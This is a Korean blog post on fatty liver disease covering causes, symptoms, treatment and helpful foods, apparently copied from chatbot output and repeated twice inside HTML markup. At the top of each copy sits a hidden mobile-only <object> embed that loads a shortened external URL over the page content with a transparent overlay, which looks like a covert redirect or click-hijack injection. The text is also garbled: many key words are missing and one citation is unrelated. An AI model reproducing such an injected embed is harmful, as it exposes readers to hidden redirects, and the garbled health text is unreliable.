지방간 원인 증상 치료법 좋은 음식

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c3577852161="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:25">지방간, 궁금한 모든 것을 알려드립니다.</h2><h3 data-sourcepos="3:1-3:16">지방간이란 무엇일까요?</h3><p data-sourcepos="5:1-5:110">간 세포에 지방이 과도하게 축적되어 간 기능에 이상이 생기는 입니다. 흔히 비만, 당뇨병, 고지혈증과 함께 나타나며, 간경변증이나 간암으로 이어질 수 있기 때문에 조기 발견과 관리가 중요합니다.</p><h3 data-sourcepos="7:1-7:19">지방간의 원인은 무엇일까요?</h3><ul data-sourcepos="9:1-11:0"> <li data-sourcepos="9:1-9:29"><strong>알코올성 지방간:</strong> 과음이 주된 원인입니다.</li> <li data-sourcepos="10:1-11:0"><strong>비알코올성 지방간:</strong> 비만, 당뇨병, 고지혈증 등의 대사, 약물, 바이러스 감염 등 다양한 원인이 복합적으로 작용합니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8d2d2e2b4ed5e372&quot;,&quot;c_a413da40ca7d0357&quot;,null,&quot;rc_75da3bf86459a0f0&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.mkhealth.co.kr/news/articleView.html?idxno=53904"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="지방간 원인 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcR0l9-jGc8SkQolpIvng9xi77mHGRQupNuSmJMfbE8RCPiuA-HDG3vh8oORVi9Q"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.mkhealth.co.kr/news/articleView.html?idxno=53904" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8d2d2e2b4ed5e372&quot;,&quot;c_a413da40ca7d0357&quot;,null,&quot;rc_75da3bf86459a0f0&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcT5-bgtMizxwsbmG6_R54DqvJM4KgEnHSeI-IsLbsS5-fnCS4LVRIGgQD6Di-ZZtSsu-B_-_LxR8CgT5udUsGTSSIOvKLeoIA93Pi1d"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.mkhealth.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 지방간 원인 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="14:1-14:19">지방간의 은 무엇일까요?</h3><p data-sourcepos="16:1-16:76">초기에는 특별한 이 없어 간 건강검진을 통해 우연히 발견되는 경우가 많습니다. 병이 진행되면 다음과 같은 이 나타날 수 있습니다.</p><ul data-sourcepos="18:1-23:0"> <li data-sourcepos="18:1-18:5">피로감</li> <li data-sourcepos="19:1-19:7">식욕 부진</li> <li data-sourcepos="20:1-20:6">소화불량</li> <li data-sourcepos="21:1-21:4">복통</li> <li data-sourcepos="22:1-23:0">황달</li> </ul><h3 data-sourcepos="24:1-24:19">지방간 법은 무엇일까요?</h3><p data-sourcepos="26:1-26:44">지방간 는 원인 을 조절하고 건강한 생활습관을 유지하는 것이 중요합니다.</p><ul data-sourcepos="28:1-33:0"> <li data-sourcepos="28:1-28:47"><strong>체중 감량:</strong> 과체중이나 비만인 경우, 체중을 줄이는 것이 가장 중요합니다.</li> <li data-sourcepos="29:1-29:59"><strong>식습관 개선:</strong> 고지방, 고당 식단을 피하고, 채소, 과일, 통곡물 등 건강한 식단을 섭취합니다.</li> <li data-sourcepos="30:1-30:36"><strong>운동:</strong> 규칙적인 유산소 운동과 근력 운동을 병행합니다.</li> <li data-sourcepos="31:1-31:29"><strong>금주:</strong> 알코올 섭취를 줄이거나 중단합니다.</li> <li data-sourcepos="32:1-33:0"><strong>약물 :</strong> 필요한 경우, 의사의 에 따라 약물 를 받습니다.</li> </ul><h3 data-sourcepos="34:1-34:22">지방간에 좋은 음식은 무엇일까요?</h3><ul data-sourcepos="36:1-43:0"> <li data-sourcepos="36:1-37:21"><strong>채소:</strong> 녹색 채소, 십자화과 채소 등 다양한 채소를 충분히 섭취합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8d2d2e2b4ed5e372&quot;,&quot;c_a413da40ca7d0357&quot;,null,&quot;rc_75da3bf86459a0f0&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///andudtk12/222748069582"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="지방간에 좋은 채소 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTxNZUOrCmbLdQBK7HsnuieYWBzQzr9VG5O8cMD1-2imqzM5useEC2OFi_i5Tq2"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s:///andudtk12/222748069582" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8d2d2e2b4ed5e372&quot;,&quot;c_a413da40ca7d0357&quot;,null,&quot;rc_75da3bf86459a0f0&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 지방간에 좋은 채소 </div></div></single-image></response-element></div></li> <li data-sourcepos="38:1-39:21"><strong>과일:</strong> 사과, 배, 딸기 등 당분이 적은 과일을 섭취합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8d2d2e2b4ed5e372&quot;,&quot;c_a413da40ca7d0357&quot;,null,&quot;rc_75da3bf86459a0f0&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///doctorkidney/222776726546"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="지방간에 좋은 과일 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQ8wQj30FGROMghAi2sI0uG44_LpjNKyGVcLvCBDVgHHCGKqCTx43EVn7No3lN7"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s:///doctorkidney/222776726546" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8d2d2e2b4ed5e372&quot;,&quot;c_a413da40ca7d0357&quot;,null,&quot;rc_75da3bf86459a0f0&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 지방간에 좋은 과일 </div></div></single-image></response-element></div></li> <li data-sourcepos="40:1-40:48"><strong>견과류:</strong> 아몬드, 호두 등 불포화지방산이 풍부한 견과류를 적당량 섭취합니다.</li> <li data-sourcepos="41:1-41:46"><strong>통곡물:</strong> 현미, 귀리 등 통곡물을 섭취하여 식이섬유를 충분히 섭취합니다.</li> <li data-sourcepos="42:1-43:0"><strong>생선:</strong> 고등어, 연어 등 등푸른 생선을 섭취하여 오메가-3 지방산을 보충합니다.</li> </ul><h3 data-sourcepos="44:1-44:19">지방간 예방을 위한 생활습관</h3><ul data-sourcepos="46:1-51:0"> <li data-sourcepos="46:1-46:37"><strong>규칙적인 운동:</strong> 매일 30분 이상 유산소 운동을 하세요.</li> <li data-sourcepos="47:1-47:57"><strong>균형 잡힌 식사:</strong> 채소, 과일, 통곡물을 충분히 섭취하고, 가공식품과 튀긴 음식은 줄이세요.</li> <li data-sourcepos="48:1-48:39"><strong>적절한 체중 유지:</strong> 건강한 체중을 유지하기 위해 노력하세요.</li> <li data-sourcepos="49:1-49:36"><strong>금연:</strong> 흡연은 간 건강에 악영향을 미치므로 금연하세요.</li> <li data-sourcepos="50:1-51:0"><strong>스트레스 관리:</strong> 스트레스를 해소하기 위한 노력을 하세요.</li> </ul><p data-sourcepos="52:1-52:107"><strong>주의:</strong> 위에 제시된 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다. 지방간이 의심된다면 반드시 전문의와 상담하여 한 진단과 를 받는 것이 중요합니다.</p><p data-sourcepos="54:1-54:31"><strong>더 궁금한 점이 있으시면 언제든지 질문해주세요.</strong></p><p data-sourcepos="56:1-56:385"><strong>Disclaimer:</strong> This information is provided for general knowledge and <span class="citation-0 interactive-span-selected-v2">informational purposes only, and does not constitute medical advice. It is not </span><span class="citation-0 citation-1 citation-end-0 interactive-span-selected-v2">a substitute for professional medical advice, diagnosis, or treatment. Always seek the <source-footnote _nghost-ng-c2343494279="" ng-version="0.0.0-PLACEHOLDER"><sup _ngcontent-ng-c2343494279="" class="superscript visible highlight" data-turn-source-index="1"> 1 </sup></source-footnote></span><span class="citation-1 citation-end-1 interactive-span-selected-v2">advice of your physician or other qualified health provider with any questions you may have regarding a medical conditio<source-footnote _nghost-ng-c2343494279="" ng-version="0.0.0-PLACEHOLDER"><sup _ngcontent-ng-c2343494279="" class="superscript visible highlight" data-turn-source-index="2"> 2 </sup></source-footnote></span>n.<sources-carousel-inline _nghost-ng-c2639593659="" ng-version="0.0.0-PLACEHOLDER"><span _ngcontent-ng-c2639593659="" hide-from-message-actions="" class="button-container hide-from-message-actions ng-star-inserted"> &nbsp; <button _ngcontent-ng-c2639593659="" hide-from-message-actions="" aria-controls="sources" class="mat-mdc-tooltip-trigger button image-fade-on button-selected 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class="mat-icon notranslate gds-icon-l icon-filled source-card-indicator google-symbols mat-ligature-font mat-icon-no-color ng-star-inserted" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="format_quote" fonticon="format_quote"></mat-icon></div></div><span _ngcontent-ng-c3569932492="" aria-label=""></span></a><div _ngcontent-ng-c3569932492="" class="source-card-footer"><a _ngcontent-ng-c3569932492="" rel="noopener" class="link" s://.denverhealth.org/blog/2019/12/how-to-use-an-inhaler-with-spacer-and-mask" jslog="180390;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8d2d2e2b4ed5e372&quot;,&quot;c_a413da40ca7d0357&quot;,null,&quot;rc_75da3bf86459a0f0&quot;,&quot;https://.denverhealth.org/blog/2019/12/how-to-use-an-inhaler-with-spacer-and-mask&quot;,null,&quot;ko&quot;,null,null,null,null,1,0]]"><div _ngcontent-ng-c3569932492="" class="source-card-attribution"><span _ngcontent-ng-c3569932492="" class="source-card-attribution-text ellipsis">.denverhealth.org</span></div><span _ngcontent-ng-c3569932492="" aria-label=""></span></a></div></div></div></url-source-card></recitation-source-card></div></div></div><button _ngcontent-ng-c4182899795="" mat-mini-fab="" mattooltip="다음" aria-label="다음 출처로 스크롤" class="mat-mdc-tooltip-trigger next-button mdc-fab mat-mdc-fab-base mdc-fab--mini mat-mdc-mini-fab ng-tns-c4182899795-4 mat-accent mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" aria-describedby="cdk-describedby-message-ng-1-8" cdk-describedby-host="ng-1" style="opacity: 0; visibility: hidden;"><span class="mat-mdc-button-persistent-ripple mdc-fab__ripple"></span><mat-icon _ngcontent-ng-c4182899795="" role="img" class="mat-icon notranslate google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon><span class="mdc-button__label"></span><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></sources-carousel></sources-carousel-inline></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c3577852161="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:25">지방간, 궁금한 모든 것을 알려드립니다.</h2><h3 data-sourcepos="3:1-3:16">지방간이란 무엇일까요?</h3><p data-sourcepos="5:1-5:110">간 세포에 지방이 과도하게 축적되어 간 기능에 이상이 생기는 입니다. 흔히 비만, 당뇨병, 고지혈증과 함께 나타나며, 간경변증이나 간암으로 이어질 수 있기 때문에 조기 발견과 관리가 중요합니다.</p><h3 data-sourcepos="7:1-7:19">지방간의 원인은 무엇일까요?</h3><ul data-sourcepos="9:1-11:0"> <li data-sourcepos="9:1-9:29"><strong>알코올성 지방간:</strong> 과음이 주된 원인입니다.</li> <li data-sourcepos="10:1-11:0"><strong>비알코올성 지방간:</strong> 비만, 당뇨병, 고지혈증 등의 대사, 약물, 바이러스 감염 등 다양한 원인이 복합적으로 작용합니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8d2d2e2b4ed5e372","c_a413da40ca7d0357",null,"rc_75da3bf86459a0f0",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.mkhealth.co.kr/news/articleView.html?idxno=53904"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="지방간 원인 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR0l9-jGc8SkQolpIvng9xi77mHGRQupNuSmJMfbE8RCPiuA-HDG3vh8oORVi9Q"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.mkhealth.co.kr/news/articleView.html?idxno=53904" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8d2d2e2b4ed5e372","c_a413da40ca7d0357",null,"rc_75da3bf86459a0f0",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcT5-bgtMizxwsbmG6_R54DqvJM4KgEnHSeI-IsLbsS5-fnCS4LVRIGgQD6Di-ZZtSsu-B_-_LxR8CgT5udUsGTSSIOvKLeoIA93Pi1d"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.mkhealth.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 지방간 원인 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="14:1-14:19">지방간의 은 무엇일까요?</h3><p data-sourcepos="16:1-16:76">초기에는 특별한 이 없어 간 건강검진을 통해 우연히 발견되는 경우가 많습니다. 병이 진행되면 다음과 같은 이 나타날 수 있습니다.</p><ul data-sourcepos="18:1-23:0"> <li data-sourcepos="18:1-18:5">피로감</li> <li data-sourcepos="19:1-19:7">식욕 부진</li> <li data-sourcepos="20:1-20:6">소화불량</li> <li data-sourcepos="21:1-21:4">복통</li> <li data-sourcepos="22:1-23:0">황달</li> </ul><h3 data-sourcepos="24:1-24:19">지방간 법은 무엇일까요?</h3><p data-sourcepos="26:1-26:44">지방간 는 원인 을 조절하고 건강한 생활습관을 유지하는 것이 중요합니다.</p><ul data-sourcepos="28:1-33:0"> <li data-sourcepos="28:1-28:47"><strong>체중 감량:</strong> 과체중이나 비만인 경우, 체중을 줄이는 것이 가장 중요합니다.</li> <li data-sourcepos="29:1-29:59"><strong>식습관 개선:</strong> 고지방, 고당 식단을 피하고, 채소, 과일, 통곡물 등 건강한 식단을 섭취합니다.</li> <li data-sourcepos="30:1-30:36"><strong>운동:</strong> 규칙적인 유산소 운동과 근력 운동을 병행합니다.</li> <li data-sourcepos="31:1-31:29"><strong>금주:</strong> 알코올 섭취를 줄이거나 중단합니다.</li> <li data-sourcepos="32:1-33:0"><strong>약물 :</strong> 필요한 경우, 의사의 에 따라 약물 를 받습니다.</li> </ul><h3 data-sourcepos="34:1-34:22">지방간에 좋은 음식은 무엇일까요?</h3><ul data-sourcepos="36:1-43:0"> <li data-sourcepos="36:1-37:21"><strong>채소:</strong> 녹색 채소, 십자화과 채소 등 다양한 채소를 충분히 섭취합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8d2d2e2b4ed5e372","c_a413da40ca7d0357",null,"rc_75da3bf86459a0f0",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///andudtk12/222748069582"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="지방간에 좋은 채소 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTxNZUOrCmbLdQBK7HsnuieYWBzQzr9VG5O8cMD1-2imqzM5useEC2OFi_i5Tq2"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s:///andudtk12/222748069582" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8d2d2e2b4ed5e372","c_a413da40ca7d0357",null,"rc_75da3bf86459a0f0",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 지방간에 좋은 채소 </div></div></single-image></response-element></div></li> <li data-sourcepos="38:1-39:21"><strong>과일:</strong> 사과, 배, 딸기 등 당분이 적은 과일을 섭취합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8d2d2e2b4ed5e372","c_a413da40ca7d0357",null,"rc_75da3bf86459a0f0",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///doctorkidney/222776726546"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="지방간에 좋은 과일 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ8wQj30FGROMghAi2sI0uG44_LpjNKyGVcLvCBDVgHHCGKqCTx43EVn7No3lN7"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s:///doctorkidney/222776726546" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8d2d2e2b4ed5e372","c_a413da40ca7d0357",null,"rc_75da3bf86459a0f0",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 지방간에 좋은 과일 </div></div></single-image></response-element></div></li> <li data-sourcepos="40:1-40:48"><strong>견과류:</strong> 아몬드, 호두 등 불포화지방산이 풍부한 견과류를 적당량 섭취합니다.</li> <li data-sourcepos="41:1-41:46"><strong>통곡물:</strong> 현미, 귀리 등 통곡물을 섭취하여 식이섬유를 충분히 섭취합니다.</li> <li data-sourcepos="42:1-43:0"><strong>생선:</strong> 고등어, 연어 등 등푸른 생선을 섭취하여 오메가-3 지방산을 보충합니다.</li> </ul><h3 data-sourcepos="44:1-44:19">지방간 예방을 위한 생활습관</h3><ul data-sourcepos="46:1-51:0"> <li data-sourcepos="46:1-46:37"><strong>규칙적인 운동:</strong> 매일 30분 이상 유산소 운동을 하세요.</li> <li data-sourcepos="47:1-47:57"><strong>균형 잡힌 식사:</strong> 채소, 과일, 통곡물을 충분히 섭취하고, 가공식품과 튀긴 음식은 줄이세요.</li> <li data-sourcepos="48:1-48:39"><strong>적절한 체중 유지:</strong> 건강한 체중을 유지하기 위해 노력하세요.</li> <li data-sourcepos="49:1-49:36"><strong>금연:</strong> 흡연은 간 건강에 악영향을 미치므로 금연하세요.</li> <li data-sourcepos="50:1-51:0"><strong>스트레스 관리:</strong> 스트레스를 해소하기 위한 노력을 하세요.</li> </ul><p data-sourcepos="52:1-52:107"><strong>주의:</strong> 위에 제시된 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다. 지방간이 의심된다면 반드시 전문의와 상담하여 한 진단과 를 받는 것이 중요합니다.</p><p data-sourcepos="54:1-54:31"><strong>더 궁금한 점이 있으시면 언제든지 질문해주세요.</strong></p><p data-sourcepos="56:1-56:385"><strong>Disclaimer:</strong> This information is provided for general knowledge and <span class="citation-0 interactive-span-selected-v2">informational purposes only, and does not constitute medical advice. It is not </span><span class="citation-0 citation-1 citation-end-0 interactive-span-selected-v2">a substitute for professional medical advice, diagnosis, or treatment. Always seek the <source-footnote _nghost-ng-c2343494279="" ng-version="0.0.0-PLACEHOLDER"><sup _ngcontent-ng-c2343494279="" class="superscript visible highlight" data-turn-source-index="1"> 1 </sup></source-footnote></span><span class="citation-1 citation-end-1 interactive-span-selected-v2">advice of your physician or other qualified health provider with any questions you may have regarding a medical conditio<source-footnote _nghost-ng-c2343494279="" ng-version="0.0.0-PLACEHOLDER"><sup _ngcontent-ng-c2343494279="" class="superscript visible highlight" data-turn-source-index="2"> 2 </sup></source-footnote></span>n.<sources-carousel-inline _nghost-ng-c2639593659="" ng-version="0.0.0-PLACEHOLDER"><span _ngcontent-ng-c2639593659="" hide-from-message-actions="" class="button-container hide-from-message-actions ng-star-inserted">   <button _ngcontent-ng-c2639593659="" hide-from-message-actions="" aria-controls="sources" class="mat-mdc-tooltip-trigger button image-fade-on button-selected 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